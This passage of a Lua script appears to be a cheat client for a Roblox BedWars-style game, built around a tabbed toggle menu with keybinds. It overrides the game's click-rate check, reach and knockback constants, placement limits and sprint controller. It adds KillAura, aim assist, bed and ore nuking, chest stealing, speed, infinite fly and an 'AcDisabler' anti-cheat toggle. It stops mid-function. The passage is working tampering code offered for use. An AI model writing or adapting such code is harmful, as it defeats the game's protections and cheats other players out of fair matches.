  2412. Client:WaitFor("EntityDamageEvent"):andThen(function(v)
  2413. v:Connect(function(Player)
  2414. if Player.entityInstance == LocalPlayer.Character and Settings.DamageBoost.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2415. task.spawn(function()
  2416. DamageBoost = true
  2417.  
  2418. task.wait(0.8)
  2419.  
  2420. DamageBoost = false
  2421. end)
  2422. end
  2423. end)
  2424. end)
  2425. end)
  2426.  
  2427. task.spawn(function()
  2428. task.spawn(function()
  2429. if GetQueueType():find("skywars") then
  2430. repeat task.wait(1) until not IsAlive(LocalPlayer)
  2431.  
  2432. PlayAgainRemote.joinQueue:FireServer({["queueType"] = GetQueueType()})
  2433. end
  2434. end)
  2435.  
  2436. repeat task.wait(1) until GetMatchState() == 2
  2437.  
  2438. if Settings.PlayAgain.Value == true then
  2439. PlayAgainRemote.joinQueue:FireServer({["queueType"] = GetQueueType()})
  2440. end
  2441. end)
  2442.  
  2443. task.spawn(function()
  2444. RunService.Heartbeat:Connect(function(Delta)
  2445. if Settings.Speed.Value == true and IsAlive(LocalPlayer) then
  2446. local SpeedValue = GetSpeed()
  2447.  
  2448. local SpeedRaycastParameters = RaycastParams.new()
  2449.  
  2450. SpeedRaycastParameters.FilterDescendantsInstances = {LocalPlayer.Character}
  2451.  
  2452. local SpeedCFrame = LocalPlayer.Character.Humanoid.MoveDirection * SpeedValue * Delta
  2453.  
  2454. local Raycast = WorkSpace:Raycast(LocalPlayer.Character.PrimaryPart.Position, SpeedCFrame, SpeedRaycastParameters)
  2455.  
  2456. if not Raycast then
  2457. LocalPlayer.Character.PrimaryPart.CFrame = LocalPlayer.Character.PrimaryPart.CFrame + SpeedCFrame
  2458. end
  2459. end
  2460. end)
  2461. end)
  2462.  
  2463. task.spawn(function()
  2464. repeat
  2465. task.wait(0.1)
  2466.  
  2467. if Settings.Nuker.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2468. local NearestBed = FindNearestBed(Settings.Nuker.Range) or nil
  2469. local NearestOre = FindNearestOre(Settings.Nuker.Range) or nil
  2470.  
  2471. if NearestBed or NearestOre then
  2472. Nuker(NearestBed, NearestOre)
  2473. end
  2474. end
  2475. until not game
  2476. end)
  2477.  
  2478. task.spawn(function()
  2479. repeat task.wait() until GetMatchState() ~= 0
  2480.  
  2481. local ZephyrUpdate = ZephyrController.updateJump
  2482.  
  2483. ZephyrController.updateJump = function(self, orb, ...)
  2484. if IsAlive(LocalPlayer) and orb then
  2485. ZephyrOrb = 1
  2486. end
  2487.  
  2488. if not IsAlive(LocalPlayer) or not orb then
  2489. ZephyrOrb = 0
  2490. end
  2491.  
  2492. return ZephyrUpdate(self, orb, ...)
  2493. end
  2494. end)
  2495.  
  2496. task.spawn(function()
  2497. repeat
  2498. task.wait(0.01)
  2499.  
  2500. if IsAlive(LocalPlayer) and IsMoving() and LocalPlayer.Character:FindFirstChild("Cape") and LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Motor") then
  2501. local TweenInformation = TweenInfo.new(0.15, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  2502. local CapeTween = TweenService:Create(LocalPlayer.Character.Cape.Motor, TweenInformation, {CurrentAngle = -0.6})
  2503.  
  2504. CapeTween:Play()
  2505. end
  2506.  
  2507. if IsAlive(LocalPlayer) and not IsMoving() and LocalPlayer.Character:FindFirstChild("Cape") and LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Motor") then
  2508. local TweenInformation = TweenInfo.new(0.15, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  2509. local CapeTween = TweenService:Create(LocalPlayer.Character.Cape.Motor, TweenInformation, {CurrentAngle = -0.2})
  2510.  
  2511. CapeTween:Play()
  2512. end
  2513. until not game
  2514. end)
  2515.  
  2516. task.spawn(function()
  2517. UserInputService.InputBegan:Connect(function(Input)
  2518. if Input.KeyCode == Enum.KeyCode.Space and not UserInputService:GetFocusedTextBox() then
  2519. FlyUp = true
  2520. end
  2521.  
  2522. if Input.KeyCode == Enum.KeyCode.LeftShift and not UserInputService:GetFocusedTextBox() then
  2523. FlyDown = true
  2524. end
  2525. end)
  2526.  
  2527. UserInputService.InputEnded:Connect(function(Input)
  2528. if Input.KeyCode == Enum.KeyCode.Space and not UserInputService:GetFocusedTextBox() then
  2529. FlyUp = false
  2530. end
  2531.  
  2532. if Input.KeyCode == Enum.KeyCode.LeftShift and not UserInputService:GetFocusedTextBox() then
  2533. FlyDown = false
  2534. end
  2535. end)
  2536. end)
  2537.  
  2538. local CombatTab = CreateTab("Combat")
  2539. local BlatantTab = CreateTab("Blatant")
  2540. local UtilityTab = CreateTab("Utility")
  2541. local WorldTab = CreateTab("World")
  2542.  
  2543. task.spawn(function()
  2544. local NoKnockBack, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "NoKnockBack", Settings.NoKnockBack.Value, function(CallBack)
  2545. Settings.NoKnockBack.Value = CallBack
  2546.  
  2547. local OldKnockBackDirection = KnockBackTable.kbDirectionStrength
  2548. local OldKnockBackUp = KnockBackTable.kbUpwardStrength
  2549.  
  2550. if Settings.NoKnockBack.Value == true then
  2551. KnockBackTable.kbDirectionStrength = 0
  2552. KnockBackTable.kbUpwardStrength = 0
  2553. end
  2554.  
  2555. if Settings.NoKnockBack.Value == false then
  2556. KnockBackTable.kbDirectionStrength = OldKnockBackDirection
  2557. KnockBackTable.kbUpwardStrength = OldKnockBackUp
  2558. end
  2559. end)
  2560.  
  2561. task.spawn(function()
  2562. local InstanceUI
  2563. local Value = false
  2564.  
  2565. DropDownButton.Activated:Connect(function()
  2566. Value = not Value
  2567.  
  2568. if Value == true then
  2569. InstanceUI = CreateKeyBind(CombatTab, Settings.NoKnockBack.KeyBind, LayoutOrder + 1, function(CallBack)
  2570. Settings.NoKnockBack.KeyBind = CallBack
  2571. end)
  2572. end
  2573.  
  2574. if Value == false then
  2575. InstanceUI:Destroy()
  2576. end
  2577. end)
  2578. end)
  2579.  
  2580. task.spawn(function()
  2581. UserInputService.InputBegan:Connect(function(Input)
  2582. if not UserInputService:GetFocusedTextBox() then
  2583. if Input.KeyCode.Name == Settings.NoKnockBack.KeyBind then
  2584. Settings.NoKnockBack.Value = not Settings.NoKnockBack.Value
  2585.  
  2586. if Settings.NoKnockBack.Value == true then
  2587. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2588. end
  2589.  
  2590. if Settings.NoKnockBack.Value == false then
  2591. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2592. end
  2593. end
  2594. end
  2595. end)
  2596. end)
  2597. end)
  2598.  
  2599. task.spawn(function()
  2600. local AutoClicker, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "AutoClicker", Settings.AutoClicker.Value, function(CallBack)
  2601. Settings.AutoClicker.Value = CallBack
  2602.  
  2603. local OldCpsFunction = nil
  2604.  
  2605. if Settings.AutoClicker.Value == true then
  2606. SwordController.isClickingTooFast = function(self)
  2607. self.lastSwing = tick()
  2608.  
  2609. return false
  2610. end
  2611. end
  2612.  
  2613. if Settings.AutoClicker.Value == false then
  2614. SwordController.isClickingTooFast = OldCpsFunction
  2615. end
  2616. end)
  2617.  
  2618. task.spawn(function()
  2619. local InstanceUI
  2620. local Value = false
  2621.  
  2622. DropDownButton.Activated:Connect(function()
  2623. Value = not Value
  2624.  
  2625. if Value == true then
  2626. InstanceUI = CreateKeyBind(CombatTab, Settings.AutoClicker.KeyBind, LayoutOrder + 1, function(CallBack)
  2627. Settings.AutoClicker.KeyBind = CallBack
  2628. end)
  2629. end
  2630.  
  2631. if Value == false then
  2632. InstanceUI:Destroy()
  2633. end
  2634. end)
  2635. end)
  2636.  
  2637. task.spawn(function()
  2638. UserInputService.InputBegan:Connect(function(Input)
  2639. if not UserInputService:GetFocusedTextBox() then
  2640. if Input.KeyCode.Name == Settings.AutoClicker.KeyBind then
  2641. Settings.AutoClicker.Value = not Settings.AutoClicker.Value
  2642.  
  2643. if Settings.AutoClicker.Value == true then
  2644. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2645. end
  2646.  
  2647. if Settings.AutoClicker.Value == false then
  2648. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2649. end
  2650. end
  2651. end
  2652. end)
  2653. end)
  2654.  
  2655. task.spawn(function()
  2656. local InstanceUI
  2657. local Value = false
  2658.  
  2659. DropDownButton.Activated:Connect(function()
  2660. Value = not Value
  2661.  
  2662. if Value == true then
  2663. InstanceUI = CreateSlider(CombatTab, "Cps", Settings.AutoClicker.Cps, 30, LayoutOrder + 2, function(CallBack)
  2664. Settings.AutoClicker.Cps = CallBack
  2665. end)
  2666. end
  2667.  
  2668. if Value == false then
  2669. InstanceUI:Destroy()
  2670. end
  2671. end)
  2672. end)
  2673. end)
  2674.  
  2675. task.spawn(function()
  2676. local AimAssist, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "AimAssist", Settings.AimAssist.Value, function(CallBack)
  2677. Settings.AimAssist.Value = CallBack
  2678. end)
  2679.  
  2680. task.spawn(function()
  2681. local InstanceUI
  2682. local Value = false
  2683.  
  2684. DropDownButton.Activated:Connect(function()
  2685. Value = not Value
  2686.  
  2687. if Value == true then
  2688. InstanceUI = CreateKeyBind(CombatTab, Settings.AimAssist.KeyBind, LayoutOrder + 1, function(CallBack)
  2689. Settings.AimAssist.KeyBind = CallBack
  2690. end)
  2691. end
  2692.  
  2693. if Value == false then
  2694. InstanceUI:Destroy()
  2695. end
  2696. end)
  2697. end)
  2698.  
  2699. task.spawn(function()
  2700. UserInputService.InputBegan:Connect(function(Input)
  2701. if not UserInputService:GetFocusedTextBox() then
  2702. if Input.KeyCode.Name == Settings.AimAssist.KeyBind then
  2703. Settings.AimAssist.Value = not Settings.AimAssist.Value
  2704.  
  2705. if Settings.AimAssist.Value == true then
  2706. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2707. end
  2708.  
  2709. if Settings.AimAssist.Value == false then
  2710. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2711. end
  2712. end
  2713. end
  2714. end)
  2715. end)
  2716.  
  2717. task.spawn(function()
  2718. local InstanceUI
  2719. local Value = false
  2720.  
  2721. DropDownButton.Activated:Connect(function()
  2722. Value = not Value
  2723.  
  2724. if Value == true then
  2725. InstanceUI = CreateSlider(CombatTab, "Range", Settings.AimAssist.Range, 18, LayoutOrder + 1, function(CallBack)
  2726. Settings.AimAssist.Range = CallBack
  2727. end)
  2728. end
  2729.  
  2730. if Value == false then
  2731. InstanceUI:Destroy()
  2732. end
  2733. end)
  2734. end)
  2735. end)
  2736.  
  2737. task.spawn(function()
  2738. local KillAura, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "KillAura", Settings.KillAura.Value, function(CallBack)
  2739. Settings.KillAura.Value = CallBack
  2740. end)
  2741.  
  2742. task.spawn(function()
  2743. local InstanceUI
  2744. local Value = false
  2745.  
  2746. DropDownButton.Activated:Connect(function()
  2747. Value = not Value
  2748.  
  2749. if Value == true then
  2750. InstanceUI = CreateKeyBind(CombatTab, Settings.KillAura.KeyBind, LayoutOrder + 1, function(CallBack)
  2751. Settings.KillAura.KeyBind = CallBack
  2752. end)
  2753. end
  2754.  
  2755. if Value == false then
  2756. InstanceUI:Destroy()
  2757. end
  2758. end)
  2759. end)
  2760.  
  2761. task.spawn(function()
  2762. UserInputService.InputBegan:Connect(function(Input)
  2763. if not UserInputService:GetFocusedTextBox() then
  2764. if Input.KeyCode.Name == Settings.KillAura.KeyBind then
  2765. Settings.KillAura.Value = not Settings.KillAura.Value
  2766.  
  2767. if Settings.KillAura.Value == true then
  2768. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2769. end
  2770.  
  2771. if Settings.KillAura.Value == false then
  2772. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2773. end
  2774. end
  2775. end
  2776. end)
  2777. end)
  2778.  
  2779. task.spawn(function()
  2780. local InstanceUI
  2781. local Value = false
  2782.  
  2783. DropDownButton.Activated:Connect(function()
  2784. Value = not Value
  2785.  
  2786. if Value == true then
  2787. InstanceUI = CreateMiniToggle(CombatTab, "CustomAnimation", Settings.KillAura.CustomAnimation, LayoutOrder + 2, function(CallBack)
  2788. Settings.KillAura.CustomAnimation = CallBack
  2789. end)
  2790. end
  2791.  
  2792. if Value == false then
  2793. InstanceUI:Destroy()
  2794. end
  2795. end)
  2796. end)
  2797.  
  2798. task.spawn(function()
  2799. local InstanceUI
  2800. local Value = false
  2801.  
  2802. DropDownButton.Activated:Connect(function()
  2803. Value = not Value
  2804.  
  2805. if Value == true then
  2806. InstanceUI = CreateMiniToggle(CombatTab, "ToolCheck", Settings.KillAura.ToolCheck, LayoutOrder + 3, function(CallBack)
  2807. Settings.KillAura.ToolCheck = CallBack
  2808. end)
  2809. end
  2810.  
  2811. if Value == false then
  2812. InstanceUI:Destroy()
  2813. end
  2814. end)
  2815. end)
  2816.  
  2817. task.spawn(function()
  2818. local InstanceUI
  2819. local Value = false
  2820.  
  2821. DropDownButton.Activated:Connect(function()
  2822. Value = not Value
  2823.  
  2824. if Value == true then
  2825. InstanceUI = CreateMiniToggle(CombatTab, "Strafe", Settings.KillAura.Strafe, LayoutOrder + 4, function(CallBack)
  2826. Settings.KillAura.Strafe = CallBack
  2827. end)
  2828. end
  2829.  
  2830. if Value == false then
  2831. InstanceUI:Destroy()
  2832. end
  2833. end)
  2834. end)
  2835.  
  2836. task.spawn(function()
  2837. local InstanceUI
  2838. local Value = false
  2839.  
  2840. DropDownButton.Activated:Connect(function()
  2841. Value = not Value
  2842.  
  2843. if Value == true then
  2844. InstanceUI = CreateSlider(CombatTab, "Range", Settings.KillAura.Range, 20, LayoutOrder + 5, function(CallBack)
  2845. Settings.KillAura.Range = CallBack
  2846. end)
  2847. end
  2848.  
  2849. if Value == false then
  2850. InstanceUI:Destroy()
  2851. end
  2852. end)
  2853. end)
  2854. end)
  2855.  
  2856. task.spawn(function()
  2857. local Reach, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "Reach", Settings.Reach.Value, function(CallBack)
  2858. Settings.Reach.Value = CallBack
  2859.  
  2860. local OldReach = CombatConstant.RAYCAST_SWORD_CHARACTER_DISTANCE
  2861.  
  2862. if Settings.Reach.Value == true then
  2863. CombatConstant.RAYCAST_SWORD_CHARACTER_DISTANCE = 20
  2864. end
  2865.  
  2866. if Settings.Reach.Value == false then
  2867. CombatConstant.RAYCAST_SWORD_CHARACTER_DISTANCE = OldReach
  2868. end
  2869. end)
  2870.  
  2871. task.spawn(function()
  2872. local InstanceUI
  2873. local Value = false
  2874.  
  2875. DropDownButton.Activated:Connect(function()
  2876. Value = not Value
  2877.  
  2878. if Value == true then
  2879. InstanceUI = CreateKeyBind(CombatTab, Settings.Reach.KeyBind, LayoutOrder + 1, function(CallBack)
  2880. Settings.Reach.KeyBind = CallBack
  2881. end)
  2882. end
  2883.  
  2884. if Value == false then
  2885. InstanceUI:Destroy()
  2886. end
  2887. end)
  2888. end)
  2889.  
  2890. task.spawn(function()
  2891. UserInputService.InputBegan:Connect(function(Input)
  2892. if not UserInputService:GetFocusedTextBox() then
  2893. if Input.KeyCode.Name == Settings.Reach.KeyBind then
  2894. Settings.Reach.Value = not Settings.Reach.Value
  2895.  
  2896. if Settings.Reach.Value == true then
  2897. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2898. end
  2899.  
  2900. if Settings.Reach.Value == false then
  2901. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2902. end
  2903. end
  2904. end
  2905. end)
  2906. end)
  2907. end)
  2908.  
  2909. task.spawn(function()
  2910. local Sprint, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "Sprint", Settings.Sprint.Value, function(CallBack)
  2911. Settings.Sprint.Value = CallBack
  2912.  
  2913. local OldSprintFunction
  2914.  
  2915. if Settings.Sprint.Value == true then
  2916. OldSprintFunction = SprintController.stopSprinting
  2917.  
  2918. SprintController.stopSprinting = function(...)
  2919. local Function = OldSprintFunction(...)
  2920.  
  2921. SprintController:startSprinting()
  2922. return Function
  2923. end
  2924.  
  2925. task.spawn(function()
  2926. SprintController:startSprinting()
  2927. end)
  2928.  
  2929. LocalPlayer.CharacterAdded:Connect(function()
  2930. SprintController:stopSprinting()
  2931. end)
  2932. end
  2933.  
  2934. if Settings.Sprint.Value == false then
  2935. SprintController.stopSprinting = OldSprintFunction
  2936. SprintController:stopSprinting()
  2937. end
  2938. end)
  2939.  
  2940. task.spawn(function()
  2941. local InstanceUI
  2942. local Value = false
  2943.  
  2944. DropDownButton.Activated:Connect(function()
  2945. Value = not Value
  2946.  
  2947. if Value == true then
  2948. InstanceUI = CreateKeyBind(CombatTab, Settings.Sprint.KeyBind, LayoutOrder + 1, function(CallBack)
  2949. Settings.Sprint.KeyBind = CallBack
  2950. end)
  2951. end
  2952.  
  2953. if Value == false then
  2954. InstanceUI:Destroy()
  2955. end
  2956. end)
  2957. end)
  2958.  
  2959. task.spawn(function()
  2960. UserInputService.InputBegan:Connect(function(Input)
  2961. if not UserInputService:GetFocusedTextBox() then
  2962. if Input.KeyCode.Name == Settings.Sprint.KeyBind then
  2963. Settings.Sprint.Value = not Settings.Sprint.Value
  2964.  
  2965. if Settings.Sprint.Value == true then
  2966. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2967. end
  2968.  
  2969. if Settings.Sprint.Value == false then
  2970. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2971. end
  2972. end
  2973. end
  2974. end)
  2975. end)
  2976. end)
  2977.  
  2978. task.spawn(function()
  2979. local NoPlacementCps, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "NoPlacementCps", Settings.NoPlacementCps.Value, function(CallBack)
  2980. Settings.NoPlacementCps.Value = CallBack
  2981.  
  2982. local OldCps = nil
  2983.  
  2984. if Settings.NoPlacementCps.Value == true then
  2985. OldCps = PlacementCPS.BLOCK_PLACE_CPS
  2986.  
  2987. PlacementCPS.BLOCK_PLACE_CPS = math.huge
  2988. end
  2989.  
  2990. if Settings.NoPlacementCps.Value == false then
  2991. PlacementCPS.BLOCK_PLACE_CPS = OldCps
  2992. end
  2993. end)
  2994.  
  2995. task.spawn(function()
  2996. local InstanceUI
  2997. local Value = false
  2998.  
  2999. DropDownButton.Activated:Connect(function()
  3000. Value = not Value
  3001.  
  3002. if Value == true then
  3003. InstanceUI = CreateKeyBind(BlatantTab, Settings.NoPlacementCps.KeyBind, LayoutOrder + 1, function(CallBack)
  3004. Settings.NoPlacementCps.KeyBind = CallBack
  3005. end)
  3006. end
  3007.  
  3008. if Value == false then
  3009. InstanceUI:Destroy()
  3010. end
  3011. end)
  3012. end)
  3013.  
  3014. task.spawn(function()
  3015. UserInputService.InputBegan:Connect(function(Input)
  3016. if not UserInputService:GetFocusedTextBox() then
  3017. if Input.KeyCode.Name == Settings.NoPlacementCps.KeyBind then
  3018. Settings.NoPlacementCps.Value = not Settings.NoPlacementCps.Value
  3019.  
  3020. if Settings.NoPlacementCps.Value == true then
  3021. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3022. end
  3023.  
  3024. if Settings.NoPlacementCps.Value == false then
  3025. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3026. end
  3027. end
  3028. end
  3029. end)
  3030. end)
  3031. end)
  3032.  
  3033. task.spawn(function()
  3034. local ChestStealer, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "ChestStealer", Settings.ChestStealer.Value, function(CallBack)
  3035. Settings.ChestStealer.Value = CallBack
  3036. end)
  3037.  
  3038. task.spawn(function()
  3039. local InstanceUI
  3040. local Value = false
  3041.  
  3042. DropDownButton.Activated:Connect(function()
  3043. Value = not Value
  3044.  
  3045. if Value == true then
  3046. InstanceUI = CreateKeyBind(BlatantTab, Settings.ChestStealer.KeyBind, LayoutOrder + 1, function(CallBack)
  3047. Settings.ChestStealer.KeyBind = CallBack
  3048. end)
  3049. end
  3050.  
  3051. if Value == false then
  3052. InstanceUI:Destroy()
  3053. end
  3054. end)
  3055. end)
  3056.  
  3057. task.spawn(function()
  3058. UserInputService.InputBegan:Connect(function(Input)
  3059. if not UserInputService:GetFocusedTextBox() then
  3060. if Input.KeyCode.Name == Settings.ChestStealer.KeyBind then
  3061. Settings.ChestStealer.Value = not Settings.ChestStealer.Value
  3062.  
  3063. if Settings.ChestStealer.Value == true then
  3064. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3065. end
  3066.  
  3067. if Settings.ChestStealer.Value == false then
  3068. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3069. end
  3070. end
  3071. end
  3072. end)
  3073. end)
  3074.  
  3075. task.spawn(function()
  3076. local InstanceUI
  3077. local Value = false
  3078.  
  3079. DropDownButton.Activated:Connect(function()
  3080. Value = not Value
  3081.  
  3082. if Value == true then
  3083. InstanceUI = CreateSlider(BlatantTab, "Range", Settings.ChestStealer.Range, 30, LayoutOrder + 2, function(CallBack)
  3084. Settings.ChestStealer.Range = CallBack
  3085. end)
  3086. end
  3087.  
  3088. if Value == false then
  3089. InstanceUI:Destroy()
  3090. end
  3091. end)
  3092. end)
  3093. end)
  3094.  
  3095. task.spawn(function()
  3096. local InfiniteJump, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "InfiniteJump", Settings.InfiniteJump.Value, function(CallBack)
  3097. Settings.InfiniteJump.Value = CallBack
  3098.  
  3099. task.spawn(function()
  3100. UserInputService.JumpRequest:Connect(function()
  3101. if IsAlive(LocalPlayer) and Settings.InfiniteJump.Value == true then
  3102. LocalPlayer.Character.Humanoid:ChangeState("Jumping")
  3103. end
  3104. end)
  3105. end)
  3106. end)
  3107.  
  3108. task.spawn(function()
  3109. local InstanceUI
  3110. local Value = false
  3111.  
  3112. DropDownButton.Activated:Connect(function()
  3113. Value = not Value
  3114.  
  3115. if Value == true then
  3116. InstanceUI = CreateKeyBind(BlatantTab, Settings.InfiniteJump.KeyBind, LayoutOrder + 1, function(CallBack)
  3117. Settings.InfiniteJump.KeyBind = CallBack
  3118. end)
  3119. end
  3120.  
  3121. if Value == false then
  3122. InstanceUI:Destroy()
  3123. end
  3124. end)
  3125. end)
  3126.  
  3127. task.spawn(function()
  3128. UserInputService.InputBegan:Connect(function(Input)
  3129. if not UserInputService:GetFocusedTextBox() then
  3130. if Input.KeyCode.Name == Settings.InfiniteJump.KeyBind then
  3131. Settings.InfiniteJump.Value = not Settings.InfiniteJump.Value
  3132.  
  3133. if Settings.InfiniteJump.Value == true then
  3134. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3135. end
  3136.  
  3137. if Settings.InfiniteJump.Value == false then
  3138. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3139. end
  3140. end
  3141. end
  3142. end)
  3143. end)
  3144. end)
  3145.  
  3146. task.spawn(function()
  3147. local AcDisabler, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "AcDisabler", Settings.AcDisabler.Value, function(CallBack)
  3148. Settings.AcDisabler.Value = CallBack
  3149. end)
  3150.  
  3151. task.spawn(function()
  3152. local InstanceUI
  3153. local Value = false
  3154.  
  3155. DropDownButton.Activated:Connect(function()
  3156. Value = not Value
  3157.  
  3158. if Value == true then
  3159. InstanceUI = CreateKeyBind(BlatantTab, Settings.AcDisabler.KeyBind, LayoutOrder + 1, function(CallBack)
  3160. Settings.AcDisabler.KeyBind = CallBack
  3161. end)
  3162. end
  3163.  
  3164. if Value == false then
  3165. InstanceUI:Destroy()
  3166. end
  3167. end)
  3168. end)
  3169.  
  3170. task.spawn(function()
  3171. UserInputService.InputBegan:Connect(function(Input)
  3172. if not UserInputService:GetFocusedTextBox() then
  3173. if Input.KeyCode.Name == Settings.AcDisabler.KeyBind then
  3174. Settings.AcDisabler.Value = not Settings.AcDisabler.Value
  3175.  
  3176. if Settings.AcDisabler.Value == true then
  3177. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3178. end
  3179.  
  3180. if Settings.AcDisabler.Value == false then
  3181. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3182. end
  3183. end
  3184. end
  3185. end)
  3186. end)
  3187. end)
  3188.  
  3189. task.spawn(function()
  3190. local InfiniteFly, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "InfiniteFly", Settings.InfiniteFly.Value, function(CallBack)
  3191. Settings.InfiniteFly.Value = CallBack
  3192.  
  3193. task.spawn(function()
  3194. if Settings.InfiniteFly.Value == true and InfiniteFlyValue == false then
  3195. InfiniteFlyValue = true
  3196. InfFly()
  3197. end
  3198.  
  3199. if Settings.InfiniteFly.Value == false and InfiniteFlyValue == true then
  3200. InfiniteFlyValue = false
  3201. end
  3202. end)
  3203. end)
  3204.  
  3205. task.spawn(function()
  3206. local InstanceUI
  3207. local Value = false
  3208.  
  3209. DropDownButton.Activated:Connect(function()
  3210. Value = not Value
  3211.  
  3212. if Value == true then
  3213. InstanceUI = CreateKeyBind(BlatantTab, Settings.InfiniteFly.KeyBind, LayoutOrder + 1, function(CallBack)
  3214. Settings.InfiniteFly.KeyBind = CallBack
  3215. end)
  3216. end
  3217.  
  3218. if Value == false then
  3219. InstanceUI:Destroy()
  3220. end
  3221. end)
  3222. end)
  3223.  
  3224. task.spawn(function()
  3225. UserInputService.InputBegan:Connect(function(Input)
  3226. if not UserInputService:GetFocusedTextBox() then
  3227. if Input.KeyCode.Name == Settings.InfiniteFly.KeyBind then
  3228. Settings.InfiniteFly.Value = not Settings.InfiniteFly.Value
  3229.  
  3230. if Settings.InfiniteFly.Value == true then
  3231. task.spawn(function()
  3232. InfiniteFlyValue = true
  3233. InfFly()
  3234. end)
  3235.  
  3236. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3237. end
  3238.  
  3239. if Settings.InfiniteFly.Value == false then
  3240. InfiniteFlyValue = false
  3241. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3242. end
  3243. end
  3244. end
  3245. end)
  3246. end)
  3247. end)
  3248.  
  3249. task.spawn(function()
  3250. local HighJump, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "HighJump", Settings.HighJump.Value, function(CallBack)
  3251. Settings.HighJump.Value = CallBack
  3252.  
  3253. task.spawn(function()
  3254. UserInputService.JumpRequest:Connect(function()
  3255. if IsAlive(LocalPlayer) and Settings.HighJump.Value == true then
  3256. LocalPlayer.Character.PrimaryPart.Velocity = LocalPlayer.Character.PrimaryPart.Velocity + Vector3.new(0, 16.5, 0)
  3257. end
  3258. end)
  3259. end)
  3260. end)
  3261.  
  3262. task.spawn(function()
  3263. local InstanceUI
  3264. local Value = false
  3265.  
  3266. DropDownButton.Activated:Connect(function()
  3267. Value = not Value
  3268.  
  3269. if Value == true then
